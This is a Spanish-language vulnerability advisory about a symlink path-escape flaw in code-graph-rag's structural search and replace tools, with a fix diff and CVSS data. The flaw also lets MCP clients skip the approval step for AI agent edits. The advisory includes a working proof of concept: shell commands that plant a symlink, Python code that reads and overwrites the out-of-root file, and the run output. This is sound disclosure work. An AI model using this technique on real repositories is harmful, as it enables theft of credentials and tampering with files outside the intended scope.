Alta

Las herramientas estructurales de Code Graph RAG siguen enlaces simbólicos fuera de la raíz

  • Publicada: 09.11.2026
  • Actualizado: 11.11.2026 10:00

Un atacante remoto o local capaz de incluir un enlace simbólico en un repositorio de código fuente analizado por code-graph-rag puede provocar que las herramientas structural_search y structural_replace (respaldadas por AstGrepService, expuestas tanto como herramientas MCP como herramientas de IA basada en agentes) lean y, mediante structural_replace con dry_run=False, sobrescriban archivos arbitrarios fuera de la raíz de proyecto configurada. Esto se debe a que la verificación de contención de rutas de la herramienta (should_skip_path/_classify_file) se efectúa de forma léxica sobre la ruta no resuelta y nunca comprueba Path.is_symlink() ni invoca .resolve(), a diferencia del decorador validate_project_path propio (y correcto) del proyecto utilizado en otras partes.

Probado en el commit 90a3ed3cbdc7d3bb8036985b851cc7c9a3ba9c57 (versión pyproject 0.0.550), el actual main en el momento de la prueba. Se confirmó que este commit ya contiene la corrección del aviso previo (GHSA-vvr2-h2jp-838m: salto de ruta paginado en read_file) y la comprobación más reciente de autenticación al portador en HTTP-MCP (_validate_http_exposure en codebase_rag/mcp/server.py); se trata de un problema diferente y aún pendiente sobre esas correcciones, ubicado en un componente distinto con una causa raíz diferente y un impacto notablemente mayor (escritura, no solo lectura).

Detalles

AstGrepService (codebase_rag/tools/ast_grep_service.py) respalda las herramientas MCP/agente structural_search y structural_replace. Enumera archivos candidatos con os.walk() y valida cada ruta únicamente mediante should_skip_path():

  • codebase_rag/tools/ast_grep_service.py:84-109 (_iter_source_files): recorre self.project_root con os.walk(); cada entrada de directorio devuelta que no sea un directorio (incluido un enlace simbólico que apunte a cualquier lugar del disco) se trata como un archivo dentro del alcance.
  • codebase_rag/tools/ast_grep_service.py:61-82 (_classify_file): la única comprobación de contención es should_skip_path(...) seguida de abs_path.relative_to(self.project_root) (línea 82); abs_path nunca se resuelve, por lo que esta validación es puramente léxica o basada en cadenas.
  • codebase_rag/utils/path_utils.py:80-109 (should_skip_path) y codebase_rag/utils/path_utils.py:35-37 (cached_relative_path): calcula rel_path = file_path.relative_to(repo_path) sin invocar nunca .resolve() ni Path.is_symlink().
  • Receptor de lectura: codebase_rag/tools/ast_grep_service.py:143-144 (search): source = self._read(abs_path) llama a path.read_text(), que Python sigue a través del enlace simbólico hacia su destino real.
  • Receptor de escritura: codebase_rag/tools/ast_grep_service.py:187-208 (replace), línea 208: abs_path.write_text(new_source, ...) cuando dry_run=False, siguiendo nuevamente el enlace simbólico y sobrescribiendo el contenido del archivo de destino real.

Esto resulta inconsistente con cómo el resto de la base de código maneja la misma clase de riesgo. Las herramientas de lectura/escritura/edición de archivos (file_reader.py, file_writer.py, file_editor.py) están todas protegidas por validate_project_path (codebase_rag/decorators.py:73-75):

python
full_path = (self.project_root / file_path_str).resolve()
project_root = self.project_root.resolve()
full_path.relative_to(project_root)

.resolve() sigue los enlaces simbólicos antes de que se ejecute la comprobación de contención, de modo que esas herramientas rechazan correctamente cualquier destino fuera de la raíz. La función absolute_path_within_project_root() (codebase_rag/utils/path_utils.py:156-176) del propio path_utils.py documenta explícitamente el mismo principio en su docstring: "The resolve() calls are load-bearing: containment is checked lexically, so an unresolved .. segment or symlink would escape the root." — sin embargo, should_skip_path()/AstGrepService nunca aplica dicho patrón.

Accesibilidad: structural_search (codebase_rag/tools/structural_search.py:24-46) no posee ningún indicador requires_approval; en modo orquestador de IA, el modelo puede llamarlo de forma autónoma sin confirmación humana. structural_replace (codebase_rag/tools/structural_editor.py:52-57) está marcado como requires_approval=True, pero este indicador solo lo aplica el propio bucle de agente de pydantic-ai: la ruta del servidor MCP lo omite por completo: MCPToolsRegistry.structural_replace (codebase_rag/mcp/tools.py:586-596) llama directamente a self._structural_editor_tool.function(...), registrado sin ningún concepto de aprobación en codebase_rag/mcp/tools.py:369-388. Cualquier cliente MCP con capacidad para invocar herramientas puede ejecutar structural_replace con dry_run=False en una sola llamada.

Prueba de concepto

Confirmado dinámicamente sobre el paquete instalado (simulando mgclient/pymgclient, al igual que en la PoC del aviso anterior, ya que el cliente nativo de Memgraph no es necesario para esta ruta de código).

bash
mkdir -p /tmp/poc_symlink/safe-project-root
cat > /tmp/poc_symlink/outside-secret.py << 'EOF'
API_TOKEN = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"
def get_token():
    return API_TOKEN
EOF
ln -s /tmp/poc_symlink/outside-secret.py /tmp/poc_symlink/safe-project-root/linked_module.py
python
import sys
from pathlib import Path
from unittest.mock import MagicMock
sys.modules["mgclient"] = MagicMock()
sys.modules["pymgclient"] = MagicMock()
from codebase_rag.tools.ast_grep_service import AstGrepService

SAFE_ROOT = "/tmp/poc_symlink/safe-project-root"
svc = AstGrepService(project_root=SAFE_ROOT)

matches = svc.search(pattern="API_TOKEN", language="python")
# -> match in reported file='linked_module.py' text='API_TOKEN'  (read escape)

changes = svc.replace(pattern="API_TOKEN", rewrite="PWNED_BY_STRUCTURAL_REPLACE",
                       language="python", dry_run=False)
print(Path("/tmp/poc_symlink/outside-secret.py").read_text())

Salida real de ejecución:

python
[*] Calling AstGrepService.search('API_TOKEN', language='python') ...
    match in reported file='linked_module.py' text='API_TOKEN'
    match in reported file='linked_module.py' text='API_TOKEN'
[+] READ ESCAPE CONFIRMED: content of the out-of-root file was returned by
    structural_search(), attributed to a path 'inside' the project root.

[*] Calling AstGrepService.replace(pattern='API_TOKEN',
    rewrite='PWNED_BY_STRUCTURAL_REPLACE', dry_run=False) ...
    wrote change to reported file='linked_module.py' matches=2

[*] Outside file content AFTER structural_replace:
------------------------------------------------------------
# Simulated sensitive file OUTSIDE the analyzed project root
PWNED_BY_STRUCTURAL_REPLACE = "sk-live-EXAMPLE-NOT-A-REAL-SECRET-1234567890"

def get_token():
    return PWNED_BY_STRUCTURAL_REPLACE
------------------------------------------------------------
[+] WRITE ESCAPE CONFIRMED: a file OUTSIDE the configured project_root
    (/tmp/poc_symlink/safe-project-root) was modified by structural_replace
    via a symlink placed inside the root.

Impacto

Cualquier operador que apunte cgr (CLI, modo ask_agent basado en agentes o herramientas MCP structural_search/structural_replace) a un repositorio que no haya auditado por completo —el caso de uso exacto para el que fue creada esta herramienta ("query, understand, and edit multi-language codebases")— puede exponerse a que un enlace simbólico introducido sea utilizado para:

  • Revelar el contenido de cualquier archivo legible por el proceso cgr (credenciales, claves SSH, archivos .env, código fuente de proyectos adyacentes), a través de structural_search, sin ningún control de aprobación.
  • Sobrescribir el contenido de cualquier archivo modificable por el proceso cgr, mediante structural_replace(dry_run=False), eludiendo el control de aprobación propio de la herramienta cuando se llama mediante el protocolo MCP.

Créditos: Dostxodjayev Abdullox (GitHub: squeeze440)

Qué hacer

Aplique el mismo patrón de resolución y posterior contención ya utilizado por validate_project_path (codebase_rag/decorators.py:73-75) y absolute_path_within_project_root (codebase_rag/utils/path_utils.py:156-176) en should_skip_path. Rechace cualquier ruta cuya ubicación resuelta (tras seguir enlaces simbólicos) escape de la raíz del proyecto resuelta:

diff
--- a/codebase_rag/utils/path_utils.py
+++ b/codebase_rag/utils/path_utils.py
@@ def should_skip_path(
     _is_file = path.is_file() if is_file is None else is_file
     if _is_file and path.suffix in cs.IGNORE_SUFFIXES:
         return True
+    # Reject symlinks (or any path) that resolve outside the project root,
+    # mirroring validate_project_path's decorator (decorators.py:73-75) and
+    # absolute_path_within_project_root (this module, below).
+    try:
+        path.resolve().relative_to(repo_path.resolve())
+    except ValueError:
+        return True
     rel_path = cached_relative_path(path, repo_path)

En concreto: este único cambio en should_skip_path corrige tanto _classify_file (búsqueda) como el filtrado de os.walk en _iter_source_files (reemplazo), ya que ambos se enrutan a través de él. Como defensa en profundidad, _iter_source_files podría omitir directamente las entradas con enlaces simbólicos (entry.is_symlink()) durante os.walk.

Se recomienda actualizar a la versión 0.0.587 o posterior.

Software afectado

Haz clic en una tecnología para ver todas sus vulnerabilidades.

PlataformaPaqueteVersiones vulnerablesCorregida en
Python (PyPI) code-graph-rag < 0.0.587 0.0.587

Referencias

Puntuación CVSS 7.1/10
Vector CVSS
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:N
Debilidad (CWE)
CWE-22, CWE-59
Plataforma
Python (PyPI)
Paquete
code-graph-rag
Publicada
09.11.2026
Actualizado
11.11.2026 10:00

Fuentes y licencias · Editado o traducido por DockRay; se mantienen los derechos y las licencias de las fuentes.

OSV / GitHub Advisory Database - GHSA-85gg-2gfq-q95m - CC BY 4.0

Historial de vulnerabilidades: code-graph-rag

Todas las vulnerabilidades publicadas de este paquete (Python (PyPI)), de la más reciente a la más antigua. Muestra si es un fallo aislado o un paquete que hay que vigilar.

Entradas en total
2
Primera → última
11.2026 11.2026
Sin corrección
0
Explotada en ataques
0

Distribución por gravedad

  • Alta 2

Divulgaciones por año

  1. 2026: 2
  1. Las herramientas estructurales de Code Graph RAG siguen enlaces simbólicos fuera de la raíz esta entrada
    Alta · 7.1 CVE-2026-87008 < 0.0.587 0.0.587

Identifica las vulnerabilidades de tu aplicación

Con la integración de DockRay y el inventario de software activado, DockRay compara las versiones notificadas de los componentes con las vulnerabilidades conocidas y avisa de las coincidencias confirmadas. La cobertura depende de la tecnología compatible y de los avisos disponibles.

Conectar tu aplicación
Newsletter DockRay

La seguridad de tus aplicaciones en tu correo

Vulnerabilidades importantes, recomendaciones concretas y consejos prácticos para tus aplicaciones. Elige tus tecnologías y sigue lo que importa para tu proyecto.

  • Un resumen diario de nuevas vulnerabilidades, también las críticas.
  • Avisos sobre actualizaciones importantes.
  • Consejos prácticos sobre seguridad y monitorización de aplicaciones.

Déjalo vacío para recibir avisos de todas las tecnologías.

Suscripción gratuita. Date de baja con un clic en cualquier correo.